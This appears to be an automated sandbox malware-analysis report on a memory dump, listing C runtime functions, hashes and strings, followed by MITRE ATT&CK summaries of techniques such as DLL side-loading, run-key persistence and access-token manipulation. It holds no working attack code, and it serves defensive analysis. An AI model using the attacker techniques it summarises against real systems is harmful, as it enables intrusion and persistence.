__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022340E4
__allrem.LIBCMT ref: 022340FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02234119
__invoke_watson.LIBCMT ref: 0223418A

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 3d594bb0021cdbbe7c166fbaf83174a8e1b95cea3535d1da0ab277559336700b
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7F71DCB1A20B17ABD719EEB9CC40B5A73B9BF10364F144179E514E6698EB70DA40CBD0

Function 0223650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02236547
__calloc_crt.LIBCMT ref: 02236598
__lock.LIBCMT ref: 022365AE
__copytlocinfo_nolock.LIBCMT ref: 022365BF
_wcscmp.LIBCMT ref: 022365F9
__lock.LIBCMT ref: 02236610
__updatetlocinfoEx_nolock.LIBCMT ref: 02236622
___removelocaleref.LIBCMT ref: 02236628
__updatetlocinfoEx_nolock.LIBCMT ref: 02236647

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 13070783de127a844da865ecfea733f2e72da22a6ff5c4f06fe18d72e5cf3246
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 4E4124F2924305BFDB02AFE4D980BAE3BFEAF04314F10442DE91496198CBB98544DF19

Function 0225FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0225FC1F

Part of subcall function 0224169C: std::exception::_Copy_str.LIBCMT ref: 022416B5

__CxxThrowException@8.LIBCMT ref: 0225FC34
std::exception::exception.LIBCMT ref: 0225FC4D
__CxxThrowException@8.LIBCMT ref: 0225FC62
std::regex_error::regex_error.LIBCPMT ref: 0225FC74

Part of subcall function 0225F914: std::exception::exception.LIBCMT ref: 0225F92E

__CxxThrowException@8.LIBCMT ref: 0225FC82
std::exception::exception.LIBCMT ref: 0225FC9B
__CxxThrowException@8.LIBCMT ref: 0225FCB0

Strings

leM, xrefs: 0225FCA8

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 4cace3a36ab4f96211a5124a0b7b9309c5d1ea736ff362843ef9ef6c07d23c3d
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 11110A79C1030DBBCB04FFE5D455CDDBB7DAA04740B408566AD1897244EB74E3988F94

Function 0221F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0221F01F

Part of subcall function 02231602: __FF_MSGBANNER.LIBCMT ref: 02231619
Part of subcall function 02231602: __NMSG_WRITE.LIBCMT ref: 02231620

_malloc.LIBCMT ref: 0221F02B
_wprintf.LIBCMT ref: 0221F03E
_free.LIBCMT ref: 0221F044
_free.LIBCMT ref: 0221F065
_malloc.LIBCMT ref: 0221F06D
_sprintf.LIBCMT ref: 0221F0C0
_wprintf.LIBCMT ref: 0221F0D2
_wprintf.LIBCMT ref: 0221F0DC
_free.LIBCMT ref: 0221F0E5

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e66e6d6fce36724f08fa0e87f28dcffd884ae719a26e05bfbc28b623991f5ddb
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: C11136F2A207607AC262A3F40C11FFF7BDD9F45302F0801A9FE9DD1184EA185A149BB1

Function 02221960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022219C6
__CxxThrowException@8.LIBCMT ref: 022219F1
__CxxThrowException@8.LIBCMT ref: 02221A1A
__CxxThrowException@8.LIBCMT ref: 02221A4B
_memset.LIBCMT ref: 02221A6A
__CxxThrowException@8.LIBCMT ref: 02221A90
_malloc.LIBCMT ref: 02221AA0
_memset.LIBCMT ref: 02221AAB
_sprintf.LIBCMT ref: 02221ACE

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 0480fd547939deeccef5ee13115130ab17575cab0bb5fd5beb0d1a90ef485787
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: DD516CB1D40219BBEB11DBE1DC86FEFBBB9FB04B04F100025F909B6180EB755A158BA5

Function 022D66D9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 022D66DD

Part of subcall function 022359BF: __calloc_crt.LIBCMT ref: 022359E2
Part of subcall function 022359BF: __initptd.LIBCMT ref: 02235A04

__calloc_crt.LIBCMT ref: 022D6700
__get_sys_err_msg.LIBCMT ref: 022D671E
__invoke_watson.LIBCMT ref: 022D673B
__get_sys_err_msg.LIBCMT ref: 022D676D
__invoke_watson.LIBCMT ref: 022D678B

Strings

ramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItX, xrefs: 022D66DC

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID: ramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItX
API String ID: 4066021419-1365769261
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 195beceb2ab2ac870eacc398127ff3e968c70f5bb395892c10662083fa637d92
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 6E11C47162171A6BFB227EE5AC40BFA739DDF04760F000466FD08A6648E765D9008AE4

Function 0221F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0221F284
__CxxThrowException@8.LIBCMT ref: 0221F2AF
__CxxThrowException@8.LIBCMT ref: 0221F2DE
__CxxThrowException@8.LIBCMT ref: 0221F30F
_memset.LIBCMT ref: 0221F32E
__CxxThrowException@8.LIBCMT ref: 0221F354
_sprintf.LIBCMT ref: 0221F373

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 72751cdf7d93f1fd42e82e8c5ff94951e3cd325bc4bf8f1fc81f6a52b789ccc9
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 8B519FB1E50349AAEF11DFE1DD46FEEBBB9EB04704F100025F915B6180D7B5AA058BA4

Function 0221F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0221F4B7
__CxxThrowException@8.LIBCMT ref: 0221F4E2
__CxxThrowException@8.LIBCMT ref: 0221F504
__CxxThrowException@8.LIBCMT ref: 0221F535
_memset.LIBCMT ref: 0221F554
__CxxThrowException@8.LIBCMT ref: 0221F57A
_sprintf.LIBCMT ref: 0221F594

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 6b86f23302bf7ba322934a602d736be9eff00a95366d40080c48abee4a0d10e2
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 90516F71E50309BADF21DFE1DD46FEEBBB9EB04704F100129F915B6184EB74AA058BA4

Function 0225208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022520C6
__invoke_watson.LIBCMT ref: 02252120
_strlen.LIBCMT ref: 022520D4

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

_strnlen.LIBCMT ref: 0225215F
__lock.LIBCMT ref: 02252170
__getenv_helper_nolock.LIBCMT ref: 0225217B

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 60b025a350fa01740e83d3f17e2e91a996928935ba553d3499a73d6d0828d97c
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: F031E8B2931336EBDB226BE49C00BAF67959F15B64F10C615ED04EB2DCDB748540CAA1

Function 02222670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022226DB
_memset.LIBCMT ref: 02222A30
_memset.LIBCMT ref: 02222AC0

Strings

D, xrefs: 02222AC8

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 9e43dfd2e10ff055f32f772e6374569b431b6508736e147b85de5b9c72ffcc43
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 48E15D71D1022AEACF24DFE0CD49FEEB7B8BF04304F144169E909A6194EB769A49CF54

Function 0221D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0221D8EA

Strings

$, xrefs: 0221DAE2
(, xrefs: 0221DAE9
, xrefs: 0221DADB

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 18e12efcc15b8212b7334cdf990d6b62abef512b5a68538151ee3a69cc9298c2
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 4191AC71D10219EAEF21CFE0C849BEEBBF5AF15304F144169D406B7284DBB65A48CFA5

Function 02235CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02235CF4

Strings

U, xrefs: 02235CFD

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 2de81546a9a08d9f1e3bd47ff866361e2df67fd940e29239687069930e2b62b3
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: CB215BB263430D7AEB019AE49C45BBE73ADDB49350F900165F90CCA198FF71EA508AA4

Function 0222A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0222A858
_memset.LIBCMT ref: 0222A869
_memset.LIBCMT ref: 0222A87A

Strings

p2Q, xrefs: 0222A882

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 4548f819cf05fa721a7f8beb3c83d8e4fd1b77eead0652ad120ed9afd1acc253
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: A8F0ED78698754A5F7227B90BC26B857E917B31B09F104088E1182E2E5D3FD238CA79A

Function 0225FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0225FBF1

Part of subcall function 0224169C: std::exception::_Copy_str.LIBCMT ref: 022416B5

__CxxThrowException@8.LIBCMT ref: 0225FC06

Strings

TeM, xrefs: 0225FBFE
TeM, xrefs: 0225FBFB, 0225FBE7

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 3cd2aca9c7b4cbeb1c62a993a0f4e0202a46b02cec2f1cbb44b527e4dbbc041b
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 59D067B5C1030CBBCB04EFA5D459CDDBBB9AA04744B408466A91897245EA74E3998F94

Function 0221D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0223197D: __wfsopen.LIBCMT ref: 02231988

_fgetws.LIBCMT ref: 0221D15C

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 33f3d2ee45880dfa582efd98ba17f6baac15f36af19708685b89d6f83a805c70
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 1A91A1B1D2031AEBCB25DFE4CC44BAEB7F5BF14304F140529E815A7245E7B6AA14CBA1

Function 0221D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0221D77E
_malloc.LIBCMT ref: 0221D7B2
_malloc.LIBCMT ref: 0221D7C1
_fprintf.LIBCMT ref: 0221D815

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 724a4720dfe1e748edc227a24592de93b31c656b1134eac511799c75364f0604
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: F0A16FB1C10348EBEF11EFE4C849BEEBBB6AF14304F140128D40576295D7B65A98CFA6

Function 02232AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 02232B2E
__read_nolock.LIBCMT ref: 02232BFE
__filbuf.LIBCMT ref: 02232C21
_memset.LIBCMT ref: 02232C65

Part of subcall function 02235BA8: __getptd_noexit.LIBCMT ref: 02235BA8

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 264030b789cc007f18cf57b33973c5a6856e714930f47f99dc449cecc1c1f30a
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: E85193F0A20306DBDB268FF988806AE77B6BF40724F148729EC35962D8D7709D51CB40

Function 02251359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0225137D

Part of subcall function 02251A9D: __fltout2.LIBCMT ref: 02251AC6

__cftog_l.LIBCMT ref: 022513A3
__cftoe_l.LIBCMT ref: 022513D5

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 704adabef952dd1b09671032d883304a57e33983cfa6c46ac939016620490a52
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 6001363642025ABBCF125EC4DC11EEE3F62BF19358B488415FE5958828D376C5B2AB81

Function 022D7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 022D7A4B

Part of subcall function 022D8140: ___BuildCatchObjectHelper.LIBCMT ref: 022D8172
Part of subcall function 022D8140: ___AdjustPointer.LIBCMT ref: 022D8189

_UnwindNestedFrames.LIBCMT ref: 022D7A62
___FrameUnwindToState.LIBCMT ref: 022D7A74
CallCatchBlock.LIBCMT ref: 022D7A98

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 80b361bd606cbc40719eb4f5f96ffbd74a5bc2c22cd7752448e9b903c02e273b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 4401E932010209BBDF12AF95DD00EEA7BBAFF48754F158015FD1866124D77AE961DFA0

Function 0222C480 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0222C584
_free.LIBCMT ref: 0222C677

Part of subcall function 02222670: _memset.LIBCMT ref: 022226DB

Strings

H:R, xrefs: 0222C67C

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc_memset
String ID: H:R
API String ID: 2338540524-553970635
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 6a6ea7da617d942db5e92abe5d078a78c0f7b72ef44ad5d8b555a4e90ffb17dc
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: E5C1DF71528350AFD720DFA4D844B6EBBE5FF85314F40492EE888932A4DB769818CF93

Function 02222E80 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

D, xrefs: 022230C0
@5R, xrefs: 02222EF6, 02222F14, 02222F2D

Memory Dump Source

Source File: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID:
String ID: @5R$D
API String ID: 0-3057989942
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: 0c2349e475f22c850bf402db9ade09ae3dfc7d57d5c1e3d49f3a158917511220
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: B4713F72940218AADF50EBE1DC89FEE77ACFB44305F4446A6F609D2090DF759648CF64

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

